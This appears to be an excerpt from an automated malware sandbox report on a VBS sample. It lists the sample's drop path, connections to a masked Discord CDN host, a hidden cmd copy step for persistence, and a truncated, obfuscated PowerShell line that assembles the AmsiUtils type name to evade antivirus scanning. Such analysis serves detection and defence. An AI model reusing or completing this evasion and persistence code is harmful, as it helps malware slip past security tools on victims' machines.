Technical Information
- %LOCALAPPDATA%\microsoft\windows\caches\<File name>.vbs
- 'cd#.##scordapp.com':443
- 'microsoft.com':80
- 'cd#.##scordapp.com':443
- DNS ASK google.com
- DNS ASK cd#.##scordapp.com
- DNS ASK microsoft.com
- '<SYSTEM32>\cmd.exe' /c copy "<PATH_SAMPLE>.vbs" "%LOCALAPPDATA%\Microsoft\Windows\Caches" /Y' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c copy "<PATH_SAMPLE>.vbs" "%LOCALAPPDATA%\Microsoft\Windows\Caches" /Y
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53...